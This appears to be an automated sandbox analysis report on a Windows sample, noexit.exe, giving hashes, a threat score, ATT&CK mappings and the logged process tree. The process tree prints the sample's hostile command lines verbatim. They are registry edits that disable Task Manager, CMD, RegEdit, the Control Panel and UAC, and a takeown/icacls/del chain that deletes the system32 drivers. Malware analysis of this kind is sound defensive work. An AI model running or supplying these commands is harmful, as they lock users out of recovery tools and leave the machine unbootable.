23a2abe7ada87655567f1439ce564841ba76e3ea3945b1de2439c04ed7ea262b

Analysis

max time kernel
109s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2024, 22:59

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General

Target
noexit.exe
Size 2.0MB
Sample240801-2ykvgavhpd
SHA256 23a2abe7ada87655567f1439ce564841ba76e3ea3945b1de2439c04ed7ea262b
MD5 4b91c40695205741cdf0d2c5b91e0de6
SHA1 1686a884214fbd297aa0db81e6c033828378250d
SHA512 2c6bbe73a2814950b5d2d01b4ad067b2d78477dac5f1dd52e3fdb5aae103f689296c5db9900c44d81b524c2aba326de0b0f6aa7a440a7c9bbf5e1b693a034217
SSDEEP 24576:+qM8YB1NEh4EvHN66VUC4dMhGOJsyvzb2uwN:D9Bh4EvHDUC5PFv
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery evasion exploit ransomware

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2077438316-259605770-1264560426-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
844	takeown.exe
3432	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2077438316-259605770-1264560426-1000\Control Panel\International\Geo\Nation	noexit.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
844	takeown.exe
3432	icacls.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2077438316-259605770-1264560426-1000\Control Panel\Desktop\Wallpaper = "c:\\windows\\system32\\WindowsSecurityIcon.png"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	844	takeown.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4080 wrote to memory of 1500	4080	noexit.exe	87
PID 4080 wrote to memory of 1500	4080	noexit.exe	87
PID 4080 wrote to memory of 2456	4080	noexit.exe	89
PID 4080 wrote to memory of 2456	4080	noexit.exe	89
PID 4080 wrote to memory of 2936	4080	noexit.exe	91
PID 4080 wrote to memory of 2936	4080	noexit.exe	91
PID 4080 wrote to memory of 368	4080	noexit.exe	93
PID 4080 wrote to memory of 368	4080	noexit.exe	93
PID 4080 wrote to memory of 1384	4080	noexit.exe	95
PID 4080 wrote to memory of 1384	4080	noexit.exe	95
PID 4080 wrote to memory of 3660	4080	noexit.exe	96
PID 4080 wrote to memory of 3660	4080	noexit.exe	96
PID 4080 wrote to memory of 2072	4080	noexit.exe	97
PID 4080 wrote to memory of 2072	4080	noexit.exe	97
PID 4080 wrote to memory of 2660	4080	noexit.exe	98
PID 4080 wrote to memory of 2660	4080	noexit.exe	98
PID 4080 wrote to memory of 60	4080	noexit.exe	103
PID 4080 wrote to memory of 60	4080	noexit.exe	103
PID 4080 wrote to memory of 4452	4080	noexit.exe	104
PID 4080 wrote to memory of 4452	4080	noexit.exe	104
PID 4080 wrote to memory of 1252	4080	noexit.exe	107
PID 4080 wrote to memory of 1252	4080	noexit.exe	107
PID 4080 wrote to memory of 3888	4080	noexit.exe	108
PID 4080 wrote to memory of 3888	4080	noexit.exe	108
PID 3888 wrote to memory of 844	3888	cmd.exe	111
PID 3888 wrote to memory of 844	3888	cmd.exe	111
PID 3888 wrote to memory of 3432	3888	cmd.exe	112
PID 3888 wrote to memory of 3432	3888	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\noexit.exe
"C:\Users\Admin\AppData\Local\Temp\noexit.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4080
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:1500
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2456
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:2936
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  PID:368
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1384
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:3660
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f /f
  2⤵
  PID:2660
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent" /v AccentColor /t REG_DWORD /d 0xFF0000 /f
  2⤵
  PID:60
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
  2⤵
  PID:4452
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /f c:\windows\system32\drivers\* && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:844
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\drivers\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

౛޲瘚⍮壸嵽᫉㱶秽lm乲⻀

Path C:\Users\Public\Desktop\౛޲瘚⍮壸嵽᫉㱶秽lm乲⻀
Size 54B
SHA256 ef33ee801b6d602531fbe4f38c356160d90cc494dc7a6a30e060639d74fe068b
MD5 29b21ae45baae03ccd4f650ccfa98698
SHA1 defbef0fbd5b6cb54374ef4e512dfe6779c78332
SHA512 a9d87f704b2dfaf8518ec396c10aaa3f147f76ce17909e2ac60cfe84949591bd156c0dd057411ab0e4e9bf68687cbfe253a2ffcc18050b5eb5d4560f539cdcdc
MD5 SHA1 SHA512

Submit Download

memory/4080-0-0x00007FF7BCCB0000-0x00007FF7BCF85000-memory.dmp

Download

memory/4080-300-0x00007FF7BCCB0000-0x00007FF7BCF85000-memory.dmp